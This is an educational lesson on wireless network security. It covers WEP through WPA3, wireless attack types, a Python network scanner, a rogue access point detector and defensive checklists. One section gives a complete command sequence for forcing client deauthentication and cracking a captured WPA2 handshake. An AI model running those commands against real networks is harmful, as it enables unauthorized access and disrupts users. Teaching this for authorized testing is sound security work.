Lessons

Lesson 5 Wireless Network Security

50 minutes

Wireless Network Security

Wireless networks present unique security challenges due to their broadcast nature. This lesson covers wireless security protocols, attack vectors, and defensive strategies.

Wireless Security Protocols Evolution

Protocol Year Security Level Key Features Vulnerabilities
WEP 1997 Very Weak 64/128-bit RC4 encryption Weak IV, easy to crack
WPA 2003 Weak TKIP, dynamic keys TKIP vulnerabilities
WPA2 2004 Good AES-CCMP encryption KRACK attack, weak passwords
WPA3 2018 Strong SAE, enhanced encryption Side-channel attacks

Common Wireless Attack Vectors

Passive Attacks
  • Eavesdropping: Intercepting unencrypted traffic
  • Traffic Analysis: Studying communication patterns
  • SSID Discovery: Identifying hidden networks
  • MAC Address Collection: Gathering device identifiers
Active Attacks
  • Evil Twin: Rogue access point impersonation
  • Deauthentication: Forcing client disconnections
  • WPS Attacks: Exploiting WiFi Protected Setup
  • MITM Attacks: Intercepting and modifying traffic

Wireless Reconnaissance Tools

Airodump-ng

Wireless packet capture and network discovery

airodump-ng wlan0mon
Kismet

Wireless network detector and sniffer

kismet -c wlan0
Wash

WPS-enabled access point scanner

wash -i wlan0mon

WPA2 4-Way Handshake Attack

The WPA2 handshake capture and offline dictionary attack is a common method for wireless penetration testing:

# 1. Put wireless interface in monitor mode
airmon-ng start wlan0

# 2. Scan for target networks
airodump-ng wlan0mon

# 3. Capture handshake on specific channel
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 4. Force deauthentication to capture handshake
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# 5. Crack the captured handshake
aircrack-ng -w wordlist.txt capture-01.cap

Python WiFi Scanner

#!/usr/bin/env python3
import subprocess
import re
import time
import sys
from tabulate import tabulate

class WiFiScanner:
    def __init__(self, interface='wlan0'):
        self.interface = interface
        self.networks = []
        
    def scan_networks(self):
        """
        Scan for available WiFi networks
        """
        try:
            # Use iwlist to scan for networks (Linux)
            result = subprocess.run(['iwlist', self.interface, 'scan'], 
                                  capture_output=True, text=True, timeout=30)
            
            if result.returncode != 0:
                print("Error scanning networks. Make sure you have proper permissions.")
                return []
            
            return self.parse_scan_results(result.stdout)
            
        except subprocess.TimeoutExpired:
            print("Scan timeout. Wireless interface may be busy.")
            return []
        except FileNotFoundError:
            print("iwlist command not found. This script requires Linux with wireless-tools.")
            return []
    
    def parse_scan_results(self, scan_output):
        """
        Parse iwlist scan output
        """
        networks = []
        current_network = {}
        
        lines = scan_output.split('\n')
        
        for line in lines:
            line = line.strip()
            
            # New access point
            if 'Address:' in line and 'ESSID' not in line:
                if current_network:
                    networks.append(current_network)
                
                mac_match = re.search(r'([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})', line)
                current_network = {
                    'BSSID': mac_match.group() if mac_match else 'Unknown',
                    'SSID': '',
                    'Channel': 'Unknown',
                    'Signal': 'Unknown',
                    'Encryption': [],
                    'Security': 'Open'
                }
            
            # SSID
            elif 'ESSID:' in line:
                ssid_match = re.search(r'ESSID:"([^"]*)"', line)
                if ssid_match:
                    current_network['SSID'] = ssid_match.group(1)
                    if not current_network['SSID']:
                        current_network['SSID'] = ''
            
            # Channel
            elif 'Channel:' in line:
                channel_match = re.search(r'Channel:(\d+)', line)
                if channel_match:
                    current_network['Channel'] = channel_match.group(1)
            
            # Signal strength
            elif 'Signal level=' in line:
                signal_match = re.search(r'Signal level=(-?\d+)', line)
                if signal_match:
                    current_network['Signal'] = signal_match.group(1) + ' dBm'
            
            # Encryption information
            elif 'Encryption key:' in line:
                if 'on' in line:
                    current_network['Security'] = 'Encrypted'
                else:
                    current_network['Security'] = 'Open'
            
            # WPA/WPA2 information
            elif 'IE: IEEE 802.11i/WPA2' in line:
                current_network['Encryption'].append('WPA2')
                current_network['Security'] = 'WPA2'
            elif 'IE: WPA Version' in line:
                current_network['Encryption'].append('WPA')
                if current_network['Security'] != 'WPA2':
                    current_network['Security'] = 'WPA'
        
        # Add the last network
        if current_network:
            networks.append(current_network)
        
        return networks
    
    def analyze_security(self, networks):
        """
        Analyze security of discovered networks
        """
        vulnerable_networks = []
        
        for network in networks:
            vulnerabilities = []
            risk_level = 'Low'
            
            # Check for open networks
            if network['Security'] == 'Open':
                vulnerabilities.append('No encryption - traffic visible to anyone')
                risk_level = 'High'
            
            # Check for WEP
            elif 'WEP' in network['Security']:
                vulnerabilities.append('WEP encryption - easily crackable')
                risk_level = 'Critical'
            
            # Check for WPS (simplified check)
            elif network['Security'] in ['WPA', 'WPA2']:
                vulnerabilities.append('WPS may be enabled - potential PIN attack')
                risk_level = 'Medium'
            
            # Check for hidden networks
            if network['SSID'] == '':
                vulnerabilities.append('Hidden SSID - security through obscurity')
                if risk_level == 'Low':
                    risk_level = 'Medium'
            
            if vulnerabilities:
                vulnerable_networks.append({
                    'network': network,
                    'vulnerabilities': vulnerabilities,
                    'risk_level': risk_level
                })
        
        return vulnerable_networks
    
    def display_results(self, networks):
        """
        Display scan results in a formatted table
        """
        if not networks:
            print("No networks found.")
            return
        
        # Prepare data for tabulation
        table_data = []
        for network in networks:
            encryption_str = ', '.join(network['Encryption']) if network['Encryption'] else network['Security']
            
            table_data.append([
                network['SSID'][:20],  # Truncate long SSIDs
                network['BSSID'],
                network['Channel'],
                network['Signal'],
                encryption_str
            ])
        
        headers = ['SSID', 'BSSID', 'Channel', 'Signal', 'Security']
        print("\nDiscovered WiFi Networks:")
        print("=" * 80)
        print(tabulate(table_data, headers=headers, tablefmt='grid'))
    
    def generate_security_report(self, vulnerable_networks):
        """
        Generate security assessment report
        """
        if not vulnerable_networks:
            print("\nSecurity Assessment: All networks appear to have basic security measures.")
            return
        
        print("\nSECURITY ASSESSMENT REPORT")
        print("=" * 50)
        
        risk_counts = {'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0}
        
        for vuln_network in vulnerable_networks:
            network = vuln_network['network']
            risk_level = vuln_network['risk_level']
            vulnerabilities = vuln_network['vulnerabilities']
            
            risk_counts[risk_level] += 1
            
            print(f"\nNetwork: {network['SSID']} ({network['BSSID']})")
            print(f"Risk Level: {risk_level}")
            print("Vulnerabilities:")
            for vuln in vulnerabilities:
                print(f"  • {vuln}")
        
        print(f"\nSummary:")
        print(f"Critical Risk: {risk_counts['Critical']} networks")
        print(f"High Risk: {risk_counts['High']} networks")
        print(f"Medium Risk: {risk_counts['Medium']} networks")
        print(f"Low Risk: {risk_counts['Low']} networks")

def main():
    if len(sys.argv) > 1:
        interface = sys.argv[1]
    else:
        interface = 'wlan0'
    
    print(f"WiFi Security Scanner")
    print(f"Interface: {interface}")
    print("=" * 40)
    
    scanner = WiFiScanner(interface)
    
    print("Scanning for networks... (this may take a moment)")
    networks = scanner.scan_networks()
    
    if networks:
        scanner.display_results(networks)
        
        # Perform security analysis
        vulnerable_networks = scanner.analyze_security(networks)
        scanner.generate_security_report(vulnerable_networks)
    else:
        print("No networks found or scan failed.")

if __name__ == "__main__":
    main()

Wireless Security Best Practices

Access Point Security
  • Use WPA3 or WPA2 with AES encryption
  • Disable WPS (WiFi Protected Setup)
  • Use strong, unique passwords (15+ characters)
  • Change default admin credentials
  • Enable MAC address filtering for critical networks
  • Regularly update firmware
Client Security
  • Avoid connecting to unknown networks
  • Use VPN on public WiFi
  • Disable automatic connection to open networks
  • Verify SSL/TLS certificates
  • Keep devices updated
  • Use firewall on mobile devices

Enterprise Wireless Security

802.1X Authentication

Enterprise networks should implement 802.1X for strong authentication:

EAP Methods
  • EAP-TLS: Certificate-based authentication
  • EAP-TTLS: Tunneled TLS authentication
  • PEAP: Protected EAP with TLS tunnel
  • EAP-FAST: Flexible Authentication via Secure Tunneling
RADIUS Components
  • Supplicant: Client device
  • Authenticator: Access point
  • Authentication Server: RADIUS server
  • Certificate Authority: Issues certificates

Rogue Access Point Detection

#!/usr/bin/env python3
import time
import json
from collections import defaultdict

class RogueAPDetector:
    def __init__(self):
        self.known_aps = set()  # Known legitimate APs (BSSID)
        self.authorized_ssids = set()  # Authorized SSID patterns
        self.suspicious_aps = []
        
    def load_authorized_networks(self, config_file):
        """
        Load list of authorized networks from configuration
        """
        try:
            with open(config_file, 'r') as f:
                config = json.load(f)
                self.known_aps = set(config.get('authorized_bssids', []))
                self.authorized_ssids = set(config.get('authorized_ssids', []))
        except FileNotFoundError:
            print(f"Config file {config_file} not found. Using empty whitelist.")
    
    def analyze_ap(self, ap_info):
        """
        Analyze an access point for suspicious characteristics
        """
        suspicious_indicators = []
        risk_score = 0
        
        # Check if AP is in authorized list
        if ap_info['BSSID'] not in self.known_aps:
            suspicious_indicators.append("Unknown BSSID")
            risk_score += 3
        
        # Check for suspicious SSID patterns
        ssid = ap_info['SSID']
        
        # Evil twin detection - similar to authorized SSIDs
        for auth_ssid in self.authorized_ssids:
            if ssid != auth_ssid and self.similar_ssid(ssid, auth_ssid):
                suspicious_indicators.append(f"Similar to authorized SSID: {auth_ssid}")
                risk_score += 5
        
        # Common evil twin patterns
        evil_patterns = ['_nomap', 'Guest', 'Public', 'Free', 'Hotel']
        if any(pattern.lower() in ssid.lower() for pattern in evil_patterns):
            suspicious_indicators.append("Uses common evil twin keywords")
            risk_score += 2
        
        # Security analysis
        if ap_info['Security'] == 'Open':
            suspicious_indicators.append("Open network")
            risk_score += 1
        elif ap_info['Security'] == 'WEP':
            suspicious_indicators.append("Weak WEP encryption")
            risk_score += 2
        
        # Channel analysis - multiple APs on same channel
        # This would require more complex scanning and comparison
        
        return suspicious_indicators, risk_score
    
    def similar_ssid(self, ssid1, ssid2, threshold=0.8):
        """
        Check if two SSIDs are suspiciously similar
        """
        if len(ssid1) == 0 or len(ssid2) == 0:
            return False
        
        # Simple similarity check based on character overlap
        common_chars = set(ssid1.lower()) & set(ssid2.lower())
        similarity = len(common_chars) / max(len(set(ssid1.lower())), len(set(ssid2.lower())))
        
        return similarity >= threshold and ssid1 != ssid2
    
    def generate_alert(self, ap_info, indicators, risk_score):
        """
        Generate security alert for suspicious AP
        """
        alert = {
            'timestamp': time.time(),
            'ssid': ap_info['SSID'],
            'bssid': ap_info['BSSID'],
            'channel': ap_info['Channel'],
            'signal': ap_info['Signal'],
            'security': ap_info['Security'],
            'risk_score': risk_score,
            'indicators': indicators,
            'severity': self.get_severity(risk_score)
        }
        
        return alert
    
    def get_severity(self, risk_score):
        """
        Determine alert severity based on risk score
        """
        if risk_score >= 5:
            return 'High'
        elif risk_score >= 3:
            return 'Medium'
        else:
            return 'Low'
    
    def monitor_networks(self, scan_results):
        """
        Monitor networks for rogue access points
        """
        alerts = []
        
        for ap in scan_results:
            indicators, risk_score = self.analyze_ap(ap)
            
            if indicators:  # Suspicious AP found
                alert = self.generate_alert(ap, indicators, risk_score)
                alerts.append(alert)
        
        return alerts

# Example usage
def main():
    detector = RogueAPDetector()
    
    # Example scan results (would come from actual WiFi scanner)
    scan_results = [
        {
            'SSID': 'CompanyWiFi',
            'BSSID': 'AA:BB:CC:DD:EE:FF',
            'Channel': '6',
            'Signal': '-45 dBm',
            'Security': 'WPA2'
        },
        {
            'SSID': 'CompanyWiFi_Guest',  # Potential evil twin
            'BSSID': '11:22:33:44:55:66',
            'Channel': '6',
            'Signal': '-40 dBm',
            'Security': 'Open'
        }
    ]
    
    alerts = detector.monitor_networks(scan_results)
    
    if alerts:
        print("ROGUE ACCESS POINT ALERTS")
        print("=" * 40)
        for alert in alerts:
            print(f"Severity: {alert['severity']}")
            print(f"SSID: {alert['ssid']}")
            print(f"BSSID: {alert['bssid']}")
            print(f"Indicators: {', '.join(alert['indicators'])}")
            print("-" * 40)

if __name__ == "__main__":
    main()

Exercise

Wireless Security Assessment Lab

Objective: Practice wireless network security assessment techniques.

  1. Set up a test wireless environment:
    • Configure a router with different security settings
    • Create networks with WPA2, WPA, and open configurations
  2. Use scanning tools to discover networks:
    • Run the Python WiFi scanner
    • Use airodump-ng for detailed analysis
    • Compare results from different tools
  3. Analyze security configurations:
    • Identify encryption methods
    • Check for WPS enabled networks
    • Look for hidden SSIDs
  4. Document findings and create recommendations
Only test networks you own or have explicit permission to assess!

Wireless Security Checklist

Assessment Checklist
  • ☐ Inventory all wireless access points
  • ☐ Verify encryption protocols in use
  • ☐ Check for rogue access points
  • ☐ Test password strength
  • ☐ Verify WPS is disabled
  • ☐ Check guest network isolation
  • ☐ Review access logs
Remediation Actions
  • ☐ Upgrade to WPA3 where possible
  • ☐ Implement 802.1X authentication
  • ☐ Deploy wireless intrusion detection
  • ☐ Segment guest and corporate networks
  • ☐ Regularly rotate WiFi passwords
  • ☐ Monitor for unauthorized devices
  • ☐ Train users on wireless security

Lesson 5 of 10